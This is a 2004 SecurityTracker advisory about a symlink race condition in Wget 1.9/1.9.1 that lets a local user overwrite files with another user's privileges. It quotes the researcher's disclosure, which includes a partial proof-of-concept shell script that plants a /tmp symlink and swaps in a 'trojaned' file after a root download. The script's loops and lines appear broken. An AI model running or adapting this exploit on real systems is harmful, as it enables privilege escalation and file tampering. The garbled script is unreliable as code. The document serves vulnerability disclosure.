Wget May Overwrite Files in Certain Cases and Allow a Local User to Gain Elevated Privileges
SecurityTracker Alert ID: 1010170|
SecurityTracker URL: http://securitytracker.com/id/1010170
(Links to External Site)
Date: May 17 2004
Modification of system information, Modification of user information|
Exploit Included: Yes |
Version(s): 1.9, 1.9.1|
A file access vulnerability was reported in Wget. A local user may be able to cause the target user's Wget application to create or overwrite files in certain cases.|
Hugo Vazquez Carames reported that if Wget is invoked to download to a filename that already exists, the application will write to a different file name. A local user can reportedly create a symbolic link (symlink) from a critical file on the system to a filename likely to be used by Wget. Then, when a target user attempts to download to a file that already exists and Wget selects a modified file name, the symlinked file will be overwritten with the privileges of the target user.
A demonstration exploit is provided in the Source Message.
A local user may be able to cause the target user to create or overwrite a file on the system.|
No solution was available at the time of this entry.|
Vendor URL: www.gnu.org/software/wget/wget.html (Links to External Site)
Access control error, State error|
|Underlying OS: Linux (Any), UNIX (Any)|
Source Message Contents
Subject: Wget race condition vulnerability|
Tested software: Wget 1.9, Wget 1.9.1
Wget checks for the presence of a file with the same name of the one invoqued at the command line, if the file exists, then it saves
the downloaded file with a different name. The problem is that Wget does not lock the file, and directly writes to it. So there's
a window time where Wget is exposed to a symlink attack
(only on world writable directories)
This is the attack sequence:
1) Wget process starts
2) File checking (but not locking!)
<--- attacker creates symlink
3) Wget writes on the wrong place
As a P.o.C. here you have a very simple script that exploits this flaw with an attack I have called: "file hijacking".
1)Open a shell and execute wget_race.sh with user A.
2)Open another shell and with root user launch wget from /tmp:
3) Check the content of /tmp/patch-2.4.26.bz2
--------------- wget_race.sh ------------------------
rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "Waiting for Wget execution..."
while [ "$a" == 1 ]
ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."
b=`pgrep -u root wget`
while [ "$c" == 1 ]
if [ -e .wget ]
echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"
rm -f /tmp/patch-2.4.26.bz2
echo "Does it worked?"
ls -la /tmp/patch-2.4.26.bz2
b=`pgrep -u root wget`
This flaw open a wide range of attack vectors.
Any program wich runs wget from a world writable directory is vulnerable.